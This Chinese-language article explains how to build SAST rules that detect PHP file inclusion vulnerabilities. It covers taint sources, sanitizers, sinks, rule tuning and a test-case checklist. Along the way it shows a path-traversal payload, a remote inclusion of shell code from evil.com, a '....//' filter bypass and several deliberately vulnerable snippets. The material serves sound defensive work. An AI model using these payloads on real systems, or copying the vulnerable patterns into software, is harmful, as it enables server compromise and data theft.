☰
文件包含漏洞的SAST检测规则:从原理到落地排坑全解析
2026/10/21 6:13:57 网站建设 项目流程

做应用安全的同行,尤其是负责维护SAST检测规则的人,应该都有一个共同体会:漏洞类型那么多,真正值得单独开一条检测规则的,除了SQL注入、XSS之外,文件包含漏洞(File Inclusion)必须要有自己的位置。它不是那种“偶尔冒个泡”的边缘漏洞,而是典型的“看起来只是路径问题,实际上能直接决定应用生死”的高危项。这篇文章想专门聊聊怎么把 SAST检测规则 里的这条“危险文件包含漏洞”做扎实,从原理拆到落地,最后再到排坑经验,全部基于我在真实规则包项目里的调试记录。

先说结论:一条能用的文件包含检测规则,绝不是简单匹配include($_GET['x'])这种写法就完事了,它需要你理解语言的执行模型、污染源的粒度、框架封装层的处理方式,还要接受大量的误报和漏报调试。下面我把整个设计过程摊开来讲。

1. 文件包含漏洞为什么值得单独做成一条检测规则

1.1 一个路径参数差点让整个后台裸奔

我先讲一个实际遇到过的例子。某次评审一个老系统的代码,看到一段写法,当时就倒吸一口气:

$page = $_GET['page']; include("templates/" . $page . ".php");

如果你第一眼只觉得这是“常规写法,没什么问题”,那就危险了。攻击者把page传成../../../../etc/passwd%00,在旧版本环境里可以直接读系统文件;如果目标环境允许远程包含,直接传一个攻击者服务器上的恶意PHP地址,整台服务器就等于被别人托管了。这个案例中的代码并没有多复杂,问题恰恰出在“太直观”——用户输入原封不动地流到了 include 关键字上。

这就是文件包含漏洞最典型的画像:一个外部可控变量,一路过关斩将,最终成了文件系统路径的组成部分。SAST工具要抓的就是这个数据流路径,而不是靠人的肉眼去一份份代码翻。

1.2 文件包含漏洞的完整危害链条

很多人印象里文件包含漏洞就是“读个文件”,实际远不止。从危害形态上分,至少有三条链:

  • 任意文件读取(LFI本地形态):攻击者通过目录穿越读取敏感文件,比如配置、密钥、数据库备份。危害不直接是RCE,但敏感信息泄露已经足够严重。
  • 远程代码执行(RFI远程形态):语言特性允许include("http://evil.com/shell.txt")时,攻击者可以把远程PHP代码拉进来执行,权限继承Web服务进程,基本等于拿到了服务器。
  • 文件写入与日志投毒结合:攻击者配合上传功能或者日志文件注入,把恶意代码写到服务器本地某个文件,随后通过文件包含触发解析,形式上绕过了上传对扩展名的限制。

这三条链有一个共同前提:include/require 的参数不可信。静态检测要做的就是在“参数不可信”和“被include消费”之间画一条数据流线。所以检测规则的职责,不是枚举所有可能的攻击载荷,而是识别“可疑的流动”。

1.3 SAST在这个漏洞上该管到什么程度

这里需要先把期望值摆正。SAST检测文件包含漏洞,能做到的是在代码层面找到“污染源流向危险函数”的路径,并给出精确位置和修复建议。它做不到的是实时判断服务器上的某个文件是否真的能被URL访问到,也做不了运行时防护。但静态分析的优势在于,它可以覆盖全量代码,包括那些你根本不会手工去看的第三方扩展包和多年没动的老模块。

所以一条合格的文件包含SAST规则,应该同时具备三个能力:

  1. 识别直接命中:include($_REQUEST['route'])这种一眼就是问题的。
  2. 识别间接传播:变量经过过滤、拼接、数组取值、函数返回后再进入include。
  3. 识别框架封装:框架的视图渲染、模板加载等内部包含行为,能等价映射为sink。

后来的落地过程中,我意识到第三点特别容易被人忽略。很多团队上了SAST,跑出来的结果全是自家框架的模板方法,却把真正随手写在控制器里的include给淹没了,这就是规则的“视野”没设计对。

2. 编写规则前,先把检测模型掰开揉碎

2.1 污染源、净化函数、汇点三段模型

任何一条真正有效的SAST规则,内核都是三段式数据流模型:source(污染源)、sanitizer(净化节点)、sink(危险汇点)。你可以把它理解成“谁的钱(数据)、经过谁的手(函数)、最后进了哪个口袋(危险操作)”。

以文件包含漏洞为例:

  • source:外部可控数据,通常包括GET/POST参数、Cookie、请求头、文件上传参数、命令行参数。特别要注意,很多扫描器默认只追踪超全局变量$_GET、$_POST,但实际业务里还有从数据库中读出的配置、从第三方API回调拿到的文件名,这些是否算source,要根据具体系统的安全边界定义。
  • sanitizer:对路径做校验或收口的能力,包括realpath()之后的目录判断、basename()提取、白名单映射、正则preg_match限定、in_array匹配固定集合等。
  • sink:真正执行文件加载的系统函数,主要是 include 系函数,以及框架内部封装的可控文件加载方法。

为什么不能只写一条正则完事?因为真实代码里,user input到include之间往往会隔了五六层。比如:

function loadTheme($themeId) { $path = getThemePath($themeId); include($path); } $theme = $_POST['theme']; loadTheme($theme);

正则会漏掉loadTheme这一层,而污点分析能顺着函数调用关系把$_POST['theme']和include($path)连起来。

2.2 危险文件包含函数清单不是只有include

这个问题我在评审同事写的规则草稿时经常发现:危险函数列表居然只有四个,include、include_once、require、require_once。说得不算错,但太狭隘。

文件包含漏洞的“包含动作”,在PHP里确实以这四个函数为主,可真正在业务代码里碰到的形态要宽得多。比如:

函数/方法说明常见出现位置
include/require/_oncePHP直接包含文件业务控制器、模板加载
file_get_contents()读取文件内容,配合反序列化或eval可能升级配置读取、模板渲染
fopen()/readfile()文件读取后直接响应输出文件下载接口
call_user_func()回调后的include通过回调间接触发框架事件、路由分发
eval()内拼接路径代码执行与文件加载混淆模板引擎实现、缓存逻辑
各种模板引擎 render框架内最终调用文件包含视图渲染

我这里要特别强调一个争议点:模板引擎的render()要不要纳入文件包含规则的sink范围?我的看法是分两层处理。如果污染源直接传入$this->load->view($template),那是值得告警的,因为模板名字如果可控,往往意味着可以加载任意视图文件,在MVC框架里这同样能触到敏感文件的读取或执行。但如果模板引擎的render()接收的是固定函数名、内部路径拼接,那就应该走“白名单路径”方式过滤,否则误报率会高到没法看。

2.3 污染源头的定义不能一刀切

在设计规则时,source列表我会根据语言特点单独配置。PHP的$_GET/$_POST/$_REQUEST/$_COOKIE/$_FILES是一批;Java里则是HttpServletRequest.getParameter()、getHeader();Python框架要看request.args、request.form、request.json。但更关键的在于:文件包含漏洞里的源头,有不少来自文件系统函数和数据库结果。

比如一个系统把“页面模板文件名”存在数据库表里,后台管理员可以编辑,然后前台根据用户参数去取这条记录并include。从用户输入看,直接到include的路径可能断掉,但“数据库字段”本身在更大风险模型里是间接可控的。所以我在真实规则包中的做法是:把数据库读取结果也作为一种“半污染源”,配合专门的“审计模式”输出,而不是每次都扔进高危告警。这样既不错过真实风险,又不会制造海量无效告警。

3. 落地示例:一条文件包含检测规则的完整流程

3.1 规则声明样例

我习惯以类似下面这种结构去声明一条规则,它既不绑定到某个具体商业引擎,又能清楚表达检测意图。不同引擎的语法有差异,但思路是一致的。

Rule: Name: FileInclusion-Direct-Include Language: PHP Severity: High Sources: - superglobal: $_GET - superglobal: $_POST - superglobal: $_REQUEST - superglobal: $_COOKIE - function_return: PDOStatement.fetchAll - function_return: json_decode Sanitizers: - function: basename - function: realpath - pattern: "^templates\/[a-z0-9_]+\.php$" - allowlist: isFileInWhitelist Sinks: - call: include - call: include_once - call: require - call: require_once Interprocedural: true MaxDepth: 8

逐段解释一下这个YAML干了什么。

Sources是污染入口的枚举。这里特意加入了function_return,把数据库查询结果和json_decode结果也纳入追踪范围。为什么加这个?因为很多二次开发的系统中,文件名不是直接从URL拿到的,而是通过一个开放接口把参数塞进查询语句,查出路径后再include。如果不追踪函数返回值,这条路径就彻底断了。

Sanitizers是“净化函数”列表。basename之所以是有效的净化节点,是因为它会把路径中的目录部分全部剥掉,攻击者想用../穿越就不成立了。而realpath配合后续目录前缀判断,可以限制最终路径落在白名单目录中。这个列表可以根据业务实际动态调整,但小心:加了realpath不等于绝对安全,还得看规则层有没有检查 realpath 返回结果是否被限制在安全目录内,否则只是形式净化。

Sinks就是真正命中的危险动作。这里我用call: include来表达“任何被追踪的变量流入include函数参数位置就告警”的规则引擎语义。

Interprocedural: true表示启用跨函数分析,MaxDepth: 8是传播深度上限。为什么要设置深度上限?因为真实系统里的交叉调用链可能非常长,深度设得过大,会产生一长串因果关系超复杂的告警,人工审核成本极高;深度设得过小,又容易断链。根据我的经验,8层是一个比较合理的平衡点,基本能覆盖控制器->服务->工具函数->sink的常见调用层次。

3.2 命中结果的解读视角

规则真正命中后,一个合格的检测结果应该包含以下字段,缺一不可:

输出字段内容示例用途
规则编号SAST-FILE-INC-001标识告警类型
风险级别High快速分级处理
文件与行号src/Api/OrderExport.php:120定位修复位置
污染流$_GET['template'] -> sanitize() -> include()说明漏洞触发链路
修复建议使用白名单映射代替路径拼接降低修复门槛

这里最容易被忽略的是“污染流”。很多引擎默认只告警不展示路径,开发人员看到一条include在某个公共方法里,第一反应是“这不是我写的代码,不想管”。但一旦把污点路径展示出来,从$_GET['template']一路标记到include,开发马上就会明白“原来是我传进去的”。所以如果你在自研规则,一定要在输出里包含这条链路,别省这个功夫。

3.3 白名单与过滤策略

规则上线最怕的就是误报泛滥。在我带的一个客户系统上,第一版文件包含规则刚跑完,十分钟内就收集了2000多条告警,其中1800条来自同一个模板加载类,实际全是误报。原因就是代码里有一个统一入口:

private function loadView(string $viewName): void { $file = VIEW_PATH . '/' . $viewName . '.php'; if (is_file($file)) { include($file); } }

这个loadView方法本身是安全的,因为VIEW_PATH是常量,传入的viewName在控制器里都被框架严格校验过了。但规则不这么想,它看到include参数里出现了$viewName,而这个$viewName词法上又来自外部调用链,就直接告警了。

对这种问题,我做了三件事:

  1. 增加白名单函数:把loadView声明为“受信任的加载器”,命中后不再向下追踪。
  2. 增加路径前缀过滤:如果进入sink的变量始终以常量VIEW_PATH拼接,并且动态部分通过了is_file与固定后缀校验,视为可接受风险。
  3. 单独建一个“低置信”规则:保留告警但不进入高危汇总,让安全团队按季度抽查。

这套组合拳下来,告警量降低到原来的5%,真实问题一个没漏。

4. 误报与漏报的实战修法:规则上线前后的排坑记录

4.1 框架渲染方法的误报遭遇

文件包含规则很大一部分误报来源是框架的视图渲染方法。比如某个PHP框架里的写法:

public function show($page) { $content = $this->view->render($page); echo $content; }

SAST引擎看到render($page),如果规则把render登记成了sink,而$page又来自路由参数,它就报“高危文件包含”。可是框架内部对$page的查找路径做了严格限制,渲染模板需要登录、模板目录固定,风险等级实际上被高估了。

这类误报要修,不是把render从sink列表里删掉,而是把它降级为“间接sink”,并附加约束条件:只有当render的参数经由用户输入直接到达,且路径中没有任何框架白名单前缀时,才告警。这个改动听起来简单,但需要规则引擎支持“路径前缀符号化”能力,我在一个实际的扫描器上调试了整整两天,最终的效果是框架模板告警下降了90%,而直接include问题仍然100%捕获。

4.2 参数拆解与拼接后的漏报重灾区

漏报的典型场景比误报更隐蔽。我最常遇到的一种漏报长这样:

$action = $_POST['action']; $allowed = ['home', 'detail', 'about']; if (in_array($action, $allowed, true)) { $file = "./pages/{$action}.php"; include($file); }

严格来说,这段代码有防御意识,in_array做了白名单校验。行,但常见漏报文是:

$path = str_replace('..', '', $_GET['path']); include($path);

这个str_replace不是净化器,它就是一个可绕过的过滤。攻击者传....//就能在去除..后变成../,规则如果不把这种“无效过滤”识别出来,就漏报。

我当时的策略是把这类“看似净化实则无效”的模式做成规则内置知识库。具体逻辑是:遇到str_replace('..', '', $var)时,规则不把它标记为sanitizer,同时单独生成一个低级别的告警,标题直接写“可能存在无效的路径过滤”。开发收到告警后,通常会改成用realpath加目录校验,这样真实风险就消除了。

还有一类漏报来自数组的二次取值:

$cfg = parse_ini_file($_GET['conf']); include($cfg['file']);

污染源$_GET['conf']流入了parse_ini_file,然后其返回值又沿着$cfg['file']到了include。很多轻量级引擎不支持这种数组元素粒度上的污点追踪,就漏了。遇到这种情况,我的做法是在规则里把parse_ini_file声明为“文件读取+数据回传”的特殊source,它的返回值整体视为污染候选,这样至少不会漏掉整图的路径。

4.3 测试用例:不验收等于没写这条规则

我在团队内部推过一次“规则验收清单”,效果非常好。任何一条文件包含规则上线前,至少要准备8个固定用例,分成四组:

测试分组用例描述预期结果
直接命中组include($_GET['page'])必须告警
净化通过组include(realpath($path))且前缀安全不告警
绕过过滤组str_replace拼接后的include必须告警
框架封装组loadView($_POST['v'])但无白名单必须告警
常量路径组include(APP_ROOT . '/config.php')不告警
深链追踪组控制器→服务→公共方法→include必须告警
二次变体组parse_ini_file($_GET['x'])结果被include必须告警
误报回归组框架统一视图加载器不告警

这组用例不仅是验收工具,更是回归测试基线。每改一次规则逻辑,跑一遍,能非常迅速地发现你是否把一个真实漏洞过滤掉了,或者是否因为加了白名单又把某个“间接恶意输入”放走了。我个人的经验是:规则质量不是靠写出来的,是靠测试用例逼出来的。没有这组基线,你根本不敢放心地把规则投入生产扫描。

最后说一个经验之谈。文件包含漏洞的SAST规则,绕来绕去,核心就那么几件事:source定义得够不够宽,sink识别得准不准,sanitizer判断得对不对,以及跨函数的污点传播能不能跑完。很多规则做得不满意,都是因为这四件事里至少有一件没想透。我后来做规则,会把80%的精力花在搭建测试样例库和梳理业务典型路径上,而不是对着函数清单背一遍。这样写出来的规则,线上表现反而最稳定。

如果你正在维护一套SAST规则,建议先从文件包含这条入手做一次全面体检:把你现有规则里的source、sink、sanitizer都列出来,再用上面的用例过一遍,大概率会找到几个漏报或误报点。修完一轮之后,你会明显感觉到告警质量提升了一个档次。这也是我一路调下来最值得的一次投入。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询